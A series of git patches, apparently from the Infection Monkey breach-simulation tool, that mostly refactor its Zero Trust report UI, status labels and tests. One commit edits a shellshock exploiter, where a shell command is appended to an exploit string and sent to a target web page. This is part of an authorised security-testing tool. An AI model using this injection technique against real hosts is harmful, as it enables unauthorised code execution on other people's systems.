import Event @@ -32,20 +32,15 @@ class TestSegmentationTests(IslandTestCase): create_or_add_findings_for_all_pairs(all_subnets, monkey) # There are 2 subnets in which the monkey is NOT - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_POSITIVE)), 2) + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2) # This is a monkey from 2nd subnet communicated with 1st subnet. SegmentationFinding.create_or_add_to_existing_finding( [FIRST_SUBNET, SECOND_SUBNET], - STATUS_CONCLUSIVE, + STATUS_FAILED, Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK) ) - print("Printing all segmentation findings") - all_findings = Finding.objects(test=TEST_SEGMENTATION) - for f in all_findings: - print(f.to_json()) - - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_POSITIVE)), 1) - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_CONCLUSIVE)), 1) + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1) + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1) self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 2) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 6b598357f..fd6175ee1 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -12,6 +12,7 @@ import StatusesToPillarsSummary from "../report-components/zerotrust/StatusesToP import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; import ZeroTrustReportLegend from "../report-components/zerotrust/ReportLegend"; +import {ZeroTrustStatuses} from "../report-components/zerotrust/ZeroTrustPillars"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -179,14 +180,6 @@ class ZeroTrustReportPageComponent extends AuthComponent { }); }); } - - anyIssuesFound() { - const severe = function(finding) { - return (finding.status === "Conclusive" || finding.status === "Inconclusive"); - }; - - return this.state.findings.some(severe); - } } export default ZeroTrustReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index 824885cad..7cefcab61 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -1,27 +1,11 @@ import React, {Component} from "react"; -import PillarLabel from "./PillarLabel"; import * as PropTypes from "prop-types"; import ResponsiveVennDiagram from "./venn-components/ResponsiveVennDiagram"; -const columns = [ - { - Header: 'Pillar Grading', - columns: [ - { Header: 'Pillar', id: 'Pillar', accessor: x => { - return (); - }}, - { Header: 'Conclusive', accessor: 'Conclusive'}, - { Header: 'Inconclusive', accessor: 'Inconclusive'}, - { Header: 'Unexecuted', accessor: 'Unexecuted'}, - { Header: 'Positive', accessor: 'Positive'}, - ] - } -]; - class PillarOverview extends Component { render() { return (
        - +
        ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js index e6a488a4f..d8b1a99b5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js @@ -4,6 +4,7 @@ import AuthComponent from "../../AuthComponent"; import 'styles/ZeroTrustPillars.css' import StatusLabel from "./StatusLabel"; import * as PropTypes from "prop-types"; +import {ZeroTrustStatuses} from "./ZeroTrustPillars"; const columns = [ @@ -30,17 +31,12 @@ const columns = [ class TestsStatus extends AuthComponent { render() { - const positiveStatus = "Positive"; - const conclusiveStatus = "Conclusive"; - const inconclusiveStatus = "Inconclusive"; - const unexecutedStatus = "Unexecuted"; - return ( - {this.getFilteredTestsByStatusIfAny(conclusiveStatus)} - {this.getFilteredTestsByStatusIfAny(inconclusiveStatus)} - {this.getFilteredTestsByStatusIfAny(positiveStatus)} - {this.getFilteredTestsByStatusIfAny(unexecutedStatus)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.failed)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.inconclusive)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.passed)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.unexecuted)} ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 0564b8364..0f731192f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -38,7 +38,7 @@ class ZeroTrustReportLegend extends Component {
        • - +
          {"\t"}The test failed; the monkeys found something wrong.
        • @@ -50,7 +50,7 @@ class ZeroTrustReportLegend extends Component {
        • - +
          {"\t"}This status means the test passed 🙂
        • diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js index 6b3243280..12c65b728 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -2,16 +2,16 @@ import React, {Component} from "react"; import * as PropTypes from "prop-types"; const statusToIcon = { - "Positive": "fa-check", + "Passed": "fa-check", "Inconclusive": "fa-exclamation-triangle", - "Conclusive": "fa-bomb", + "Failed": "fa-bomb", "Unexecuted": "fa-question", }; export const statusToLabelType = { - "Positive": "label-success", + "Passed": "label-success", "Inconclusive": "label-warning", - "Conclusive": "label-danger", + "Failed": "label-danger", "Unexecuted": "label-default", }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js index 8cdf12af5..4a597566c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js @@ -2,14 +2,15 @@ import React, {Component, Fragment} from "react"; import PillarLabel from "./PillarLabel"; import StatusLabel from "./StatusLabel"; import * as PropTypes from "prop-types"; +import {ZeroTrustStatuses} from "./ZeroTrustPillars"; export default class StatusesToPillarsSummary extends Component { render() { return (
          - {this.getStatusSummary("Conclusive")} - {this.getStatusSummary("Inconclusive")} - {this.getStatusSummary("Positive")} - {this.getStatusSummary("Unexecuted")} + {this.getStatusSummary(ZeroTrustStatuses.failed)} + {this.getStatusSummary(ZeroTrustStatuses.inconclusive)} + {this.getStatusSummary(ZeroTrustStatuses.passed)} + {this.getStatusSummary(ZeroTrustStatuses.unexecuted)}
          ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js index 6bc425be0..2165916da 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js @@ -9,9 +9,9 @@ export const ZeroTrustPillars = { }; export const ZeroTrustStatuses = { - conclusive: "Conclusive", + failed: "Failed", inconclusive: "Inconclusive", - positive: "Positive", + passed: "Passed", unexecuted: "Unexecuted" }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index c7a13d52a..32ae72deb 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -4,6 +4,7 @@ import CircularNode from './CircularNode' import ArcNode from './ArcNode' import {TypographicUtilities} from './Utility.js' import './VennDiagram.css' +import {ZeroTrustStatuses} from "../ZeroTrustPillars"; class VennDiagram extends React.Component { constructor(props_) { @@ -14,7 +15,7 @@ class VennDiagram extends React.Component { this.width = this.height = 512; this.prefix = 'vennDiagram'; - this.suffices = ['', '|tests are|conclusive', '|tests were|inconclusive', '|tests|performed']; + this.suffices = ['', '|tests are|failed', '|tests were|inconclusive', '|tests|performed']; this.fontStyles = [{size: Math.max(9, this.width / 32), color: 'white'}, { size: Math.max(6, this.width / 52), color: 'black' @@ -65,23 +66,23 @@ class VennDiagram extends React.Component { this.rules = [ { - id: 'Rule #1', status: 'Unexecuted', hex: '#777777', f: function (d_) { - return d_['Conclusive'] + d_['Inconclusive'] + d_['Positive'] === 0; + id: 'Rule #1', status: ZeroTrustStatuses.unexecuted, hex: '#777777', f: function (d_) { + return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.inconclusive] + d_[ZeroTrustStatuses.passed] === 0; } }, { - id: 'Rule #2', status: 'Conclusive', hex: '#D9534F', f: function (d_) { - return d_['Conclusive'] > 0; + id: 'Rule #2', status: ZeroTrustStatuses.failed, hex: '#D9534F', f: function (d_) { + return d_[ZeroTrustStatuses.failed] > 0; } }, { id: 'Rule #3', status: 'Inconclusive', hex: '#F0AD4E', f: function (d_) { - return d_['Conclusive'] === 0 && d_['Inconclusive'] > 0; + return d_[ZeroTrustStatuses.failed] === 0 && d_['Inconclusive'] > 0; } }, { - id: 'Rule #4', status: 'Positive', hex: '#5CB85C', f: function (d_) { - return d_['Positive'] + d_['Unexecuted'] >= 2 && d_['Positive'] * d_['Unexecuted'] > 0; + id: 'Rule #4', status: ZeroTrustStatuses.passed, hex: '#5CB85C', f: function (d_) { + return d_[ZeroTrustStatuses.passed] + d_[ZeroTrustStatuses.unexecuted] >= 2 && d_[ZeroTrustStatuses.passed] * d_[ZeroTrustStatuses.unexecuted] > 0; } } From a4a9f0c4916725041d884c4439d9b9ccebe594c0 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 28 Aug 2019 14:10:30 +0300 Subject: [PATCH 169/276] Separated findings per status --- .../components/pages/ZeroTrustReportPage.js | 4 +- .../zerotrust/EventsAndButtonComponent.js | 2 +- .../zerotrust/ExportEventsButton.js | 2 +- .../zerotrust/FindingsSection.js | 38 ++++++++++++++ .../zerotrust/FindingsTable.js | 52 +++++++++---------- .../zerotrust/RecommendationsStatusTable.js | 4 +- 6 files changed, 70 insertions(+), 32 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index fd6175ee1..a901c63cf 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -3,7 +3,7 @@ import {Col, Grid, Row} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; import PillarsOverview from "../report-components/zerotrust/PillarOverview"; -import FindingsTable from "../report-components/zerotrust/FindingsTable"; +import FindingsSection from "../report-components/zerotrust/FindingsSection"; import SinglePillarRecommendationsStatus from "../report-components/zerotrust/SinglePillarRecommendationsStatus"; import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; @@ -99,7 +99,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper insight as to what exactly happened during this test.

          - +
        ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js index 0b96f8fc2..867efc049 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js @@ -26,7 +26,7 @@ export default class EventsAndButtonComponent extends Component {
        - { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js index b75516e2c..e5c3b1b6f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js @@ -4,7 +4,7 @@ import * as PropTypes from "prop-types"; export default class ExportEventsButton extends Component { render() { - return { @@ -41,7 +41,7 @@ export default class EventsAndButtonComponent extends Component { } -EventsAndButtonComponent.propTypes = { +EventsButtonsComponent.propTypes = { events: PropTypes.array, exportFilename: PropTypes.string, }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js index e5c3b1b6f..b75516e2c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js @@ -4,7 +4,7 @@ import * as PropTypes from "prop-types"; export default class ExportEventsButton extends Component { render() { - return
    - + ); } + generateRecommendationsSection() { + return (
    +

    Recommendations

    +

    + Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results + to understand how the monkey tested your adherence to that recommendation. +

    + { + Object.keys(this.state.recommendations).map((pillar) => + + ) + } +
    ); + } + + generateFindingsSection() { + return (
    +

    Findings

    +

    + Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things + happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper + insight as to what exactly happened during this test. +

    + +
    ); + } + stillLoadingDataFromServer() { return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.recommendations === "undefined"; } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButtonsComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButtonsComponent.js index 8a0d97272..10027c888 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButtonsComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButtonsComponent.js @@ -26,14 +26,9 @@ export default class EventsButtonsComponent extends Component {
    - - { - const content = JSON.stringify(this.props.events, null, 2); - const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); - FileSaver.saveAs(blob, this.props.exportFilename + ".json"); - }}/>
    ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js index 5512d810b..aee1fb7f2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js @@ -1,14 +1,9 @@ import React from 'react' import PropTypes from 'prop-types'; -import { Popover, OverlayTrigger } from 'react-bootstrap'; +import {Popover, OverlayTrigger} from 'react-bootstrap'; import * as d3 from 'd3' class ArcNode extends React.Component { - - handleClick(e_) { this.props.disableHover(this.refs.overlay); } - handleOver(e_) { if(this.props.hover) { this.refs.overlay.show(); } } - handleOut(e_) { if(this.props.hover){ this.refs.overlay.hide(); } } - render() { let {prefix, index, data} = this.props; @@ -16,31 +11,51 @@ class ArcNode extends React.Component { let id = prefix + 'Node_' + index; return ( - - {data.tooltip}} rootClose> - + {data.tooltip}} rootClose> + - - - - {data.icon + '\u2000'} - {data.label} - - - + /> + + + + {data.icon + '\u2000'} + {data.label} + + + ); } + + + handleClick(e_) { + this.props.disableHover(this.refs.overlay); + } + + handleOver(e_) { + if (this.props.hover) { + this.refs.overlay.show(); + } + } + + handleOut(e_) { + if (this.props.hover) { + this.refs.overlay.hide(); + } + } } ArcNode.propTypes = { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js index a74cd74b1..5c84d95a5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js @@ -1,40 +1,59 @@ import React from 'react' import PillarLabel from "../PillarLabel"; -import { Popover, OverlayTrigger } from 'react-bootstrap'; +import {Popover, OverlayTrigger} from 'react-bootstrap'; import PropTypes from 'prop-types'; class CircularNode extends React.Component { - - handleClick(e_) { this.props.disableHover(this.refs.overlay); } - handleOver(e_) { if(this.props.hover) { this.refs.overlay.show(); } } - handleOut(e_) { if(this.props.hover){ this.refs.overlay.hide(); } } - render() { let {prefix, index, data} = this.props; let translate = 'translate(' + data.cx + ',' + data.cy + ')'; return ( - - {data.tooltip}} rootClose> - + {data.tooltip}} rootClose> + - - - - - + /> + + + + + ); } + + + handleClick(e_) { + this.props.disableHover(this.refs.overlay); + } + + handleOver(e_) { + if (this.props.hover) { + this.refs.overlay.show(); + } + } + + handleOut(e_) { + if (this.props.hover) { + this.refs.overlay.hide(); + } + } + } CircularNode.propTypes = { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index 25d36131d..c1d5d2a68 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -12,11 +12,14 @@ class VennDiagram extends React.Component { this.state = {hover: true, currentPopover: undefined}; this._disableHover = this._disableHover.bind(this); - + this.width = this.height = 512; this.prefix = 'vennDiagram'; - this.fontStyles = [{size: Math.max(9, this.width / 28), color: 'white'}, { size: Math.max(6, this.width / 38), color: 'white'}, { size: Math.max(6, this.width / 48), color: 'white'} ]; + this.fontStyles = [{size: Math.max(9, this.width / 28), color: 'white'}, { + size: Math.max(6, this.width / 38), + color: 'white' + }, {size: Math.max(6, this.width / 48), color: 'white'}]; this.offset = this.width / 16; this.thirdWidth = this.width / 3; @@ -25,14 +28,43 @@ class VennDiagram extends React.Component { this.width1By11 = this.width / 11; this.width1By28 = this.width / 28; this.arcNodesGap = 4; - + this.layout = { Data: {cx: 0, cy: 0, r: this.width11By2, offset: {x: 0, y: 0}, popover: 'top'}, - People: {cx: -this.width2By7, cy: 0, r: this.width11By2, offset: {x: this.width1By11 + this.fontStyles[1].size / 5 * 3, y: 0}, popover: 'right'}, - Networks: {cx: this.width2By7, cy: 0, r: this.width11By2, offset: {x: -this.width1By11 - this.fontStyles[1].size / 5 * 3, y: 0}, popover: 'left'}, - Devices: {cx: 0, cy: this.width2By7, r: this.width11By2, offset: {x: 0, y: -this.width1By11 + this.fontStyles[1].size / 6 * 3}, popover: 'top'}, - Workloads: {cx: 0, cy: -this.width2By7, r: this.width11By2, offset: {x: 0, y: this.width1By11}, popover: 'bottom' }, - VisibilityAndAnalytics: {inner: this.thirdWidth - this.width1By28, outer: this.thirdWidth, icon: '\uf070', popover: 'left'}, + People: { + cx: -this.width2By7, + cy: 0, + r: this.width11By2, + offset: {x: this.width1By11 + this.fontStyles[1].size / 5 * 3, y: 0}, + popover: 'right' + }, + Networks: { + cx: this.width2By7, + cy: 0, + r: this.width11By2, + offset: {x: -this.width1By11 - this.fontStyles[1].size / 5 * 3, y: 0}, + popover: 'left' + }, + Devices: { + cx: 0, + cy: this.width2By7, + r: this.width11By2, + offset: {x: 0, y: -this.width1By11 + this.fontStyles[1].size / 6 * 3}, + popover: 'top' + }, + Workloads: { + cx: 0, + cy: -this.width2By7, + r: this.width11By2, + offset: {x: 0, y: this.width1By11}, + popover: 'bottom' + }, + VisibilityAndAnalytics: { + inner: this.thirdWidth - this.width1By28, + outer: this.thirdWidth, + icon: '\uf070', + popover: 'right' + }, AutomationAndOrchestration: { inner: this.thirdWidth - this.width1By28 * 2 - this.arcNodesGap, outer: this.thirdWidth - this.width1By28 - this.arcNodesGap, @@ -85,51 +117,61 @@ class VennDiagram extends React.Component { } - componentDidMount() { this.parseData(); if(this.state.currentPopover !== undefined) { this.state.currentPopover.show(); } } - - _disableHover(ref_) { this.setState({hover: false, currentPopover: ref_, data: this.state.data }); } - + componentDidMount() { + this.parseData(); + if (this.state.currentPopover !== undefined) { + this.state.currentPopover.show(); + } + } + + _disableHover(ref_) { + this.setState({hover: false, currentPopover: ref_, data: this.state.data}); + } + _onMouseMove(e) { - + let self = this; - + let hidden = 'none'; let html = ''; let bcolor = '#DEDEDE'; - - if(this.state.currentPopover !== undefined) { this.state.currentPopover.show(); } + + if (this.state.currentPopover !== undefined) { + this.state.currentPopover.show(); + } document.querySelectorAll('circle, path').forEach((d_, i_) => { - d_.setAttribute('opacity', "0.8"); + d_.setAttribute('opacity', "0.8"); }); if (e.target.id.includes('Node')) { - e.target.setAttribute('opacity', 0.95); + e.target.setAttribute('opacity', 0.95); + + // Set highest z-index + e.target.parentNode.parentNode.appendChild(e.target.parentNode); - // Set highest z-index - e.target.parentNode.parentNode.appendChild(e.target.parentNode); - } else { - // Return z indices to default - Object.keys(this.layout).forEach(function (d_, i_) { - document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode); }) + // Return z indices to default + Object.keys(this.layout).forEach(function (d_, i_) { + document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode); + }) } } - + _onClick(e) { - - if (!e.target.id.includes('Node')) { - - this.state.currentPopover.hide(); - this.setState({hover: true, currentPopover: undefined, data: this.state.data }); - } + + if (!e.target.id.includes('Node')) { + + this.state.currentPopover.hide(); + this.setState({hover: true, currentPopover: undefined, data: this.state.data}); + } } - + parseData() { - + let self = this; let data = []; const omit = (prop, {[prop]: _, ...rest}) => rest; @@ -157,23 +199,25 @@ class VennDiagram extends React.Component { this.setState({hover: true, activePopover: undefined, data: data}); this.render(); } - + buildTooltipHtmlContent(object_) { - return Object.keys(object_).map((key_, i_) => { return (

    {key_}: {object_[key_]}

    ) }) + return Object.keys(object_).map((key_, i_) => { + return (

    {key_}: {object_[key_]}

    ) + }) } setLayoutElement(rule_, key_, html_, d_) { - - if(rule_ === null) { console.log(Error('The node scores are invalid, please check the data or the rules set.')); } + + if (rule_ === null) { + console.log(Error('The node scores are invalid, please check the data or the rules set.')); + } if (key_ === 'Data') { this.layout[key_].fontStyle = this.fontStyles[0]; - } - else if(this.layout[key_].hasOwnProperty('cx')){ + } else if (this.layout[key_].hasOwnProperty('cx')) { this.layout[key_].fontStyle = this.fontStyles[1]; - } - else { + } else { this.layout[key_].fontStyle = this.fontStyles[2]; } @@ -218,11 +262,12 @@ class VennDiagram extends React.Component { }); return ( -
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onClick={this._onClick.bind(this)}> - this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} + onClick={this._onClick.bind(this)}> + {nodes} - +
    ) } From c0a6f1d1ddb6b861481cab9be216226ee9b869d9 Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Sun, 1 Sep 2019 14:04:16 +0700 Subject: [PATCH 178/276] update --- monkey/infection_monkey/exploit/shellshock.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 1880e6c07..8b18590de 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -197,7 +197,7 @@ class ShellShockExploiter(HostExploiter): if cls.check_remote_file_exists(url, header, exploit, file_path): LOG.info("Another monkey is running shellshock exploit") return False - cmdline = 'touch /tmp/monkey_lock' + cmdline = 'echo AAAA > %s' % file_path run_path = exploit + cmdline cls.attack_page(url, header, run_path) return True From 5e059f78eb7ff57ce6db49c93adc4106f726a631 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 10:51:33 +0300 Subject: [PATCH 179/276] Various UI Improvements --- .../components/pages/ZeroTrustReportPage.js | 10 ++++++++-- ...entsButtonsComponent.js => EventsButton.js} | 6 +++--- .../zerotrust/ExportEventsButton.js | 2 +- .../zerotrust/FindingsSection.js | 2 +- .../zerotrust/FindingsTable.js | 4 ++-- .../zerotrust/ReportLegend.js | 18 ++++++------------ 6 files changed, 21 insertions(+), 21 deletions(-) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{EventsButtonsComponent.js => EventsButton.js} (87%) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 34fec0079..7ca40bd5f 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -113,12 +113,18 @@ class ZeroTrustReportPageComponent extends AuthComponent { grades={this.state.pillars.grades}/>
    - + - +

    What am I seeing?

    +

    + The Zero Trust eXtended framework categorizes its recommendations into 7 pillars. Infection Monkey + Zero Trust edition tests some of those recommendations. The tests that the monkey executes + produce findings. The tests, recommendations and pillars are then granted a status in accordance + with the tests results. +

    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButtonsComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js similarity index 87% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButtonsComponent.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index 10027c888..33c6a2384 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButtonsComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -5,7 +5,7 @@ import FileSaver from "file-saver"; import * as PropTypes from "prop-types"; import ExportEventsButton from "./ExportEventsButton"; -export default class EventsButtonsComponent extends Component { +export default class EventsButton extends Component { constructor(props) { super(props); this.state = { @@ -27,7 +27,7 @@ export default class EventsButtonsComponent extends Component {
    @@ -36,7 +36,7 @@ export default class EventsButtonsComponent extends Component { } -EventsButtonsComponent.propTypes = { +EventsButton.propTypes = { events: PropTypes.array, exportFilename: PropTypes.string, }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js index b75516e2c..bb6fc6c45 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js @@ -7,7 +7,7 @@ export default class ExportEventsButton extends Component { return } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index 3f4260f98..eed4c0f8c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -1,6 +1,6 @@ import React, {Component, Fragment} from "react"; import PillarLabel from "./PillarLabel"; -import EventsButtonsComponent from "./EventsButtonsComponent"; +import EventsButton from "./EventsButton"; import {ZeroTrustStatuses} from "./ZeroTrustPillars"; import {FindingsTable} from "./FindingsTable"; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 514e48a98..924ddf631 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -3,7 +3,7 @@ import StatusLabel from "./StatusLabel"; import PaginatedTable from "../common/PaginatedTable"; import * as PropTypes from "prop-types"; import PillarLabel from "./PillarLabel"; -import EventsButtonsComponent from "./EventsButtonsComponent"; +import EventsButton from "./EventsButton"; const columns = [ { @@ -16,7 +16,7 @@ const columns = [ { Header: 'Events', id: "events", accessor: x => { - return ; + return ; }, maxWidth: 160, }, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 0f731192f..143120793 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -27,41 +27,35 @@ class ZeroTrustReportLegend extends Component { getLegendContent() { return
    -

    What is this?

    -

    - The Zero Trust eXtended framework categorizes its recommendations into 7 pillars. Infection Monkey - Zero Trust edition tests some of those recommendations. The tests that the monkey executes - produce findings. The tests, recommendations and pillars are then granted a status in accordance - with the tests results. -

    Statuses

    • - {"\t"}The test failed; the monkeys found something wrong. + {"\t"}Some tests failed; the monkeys found something wrong.
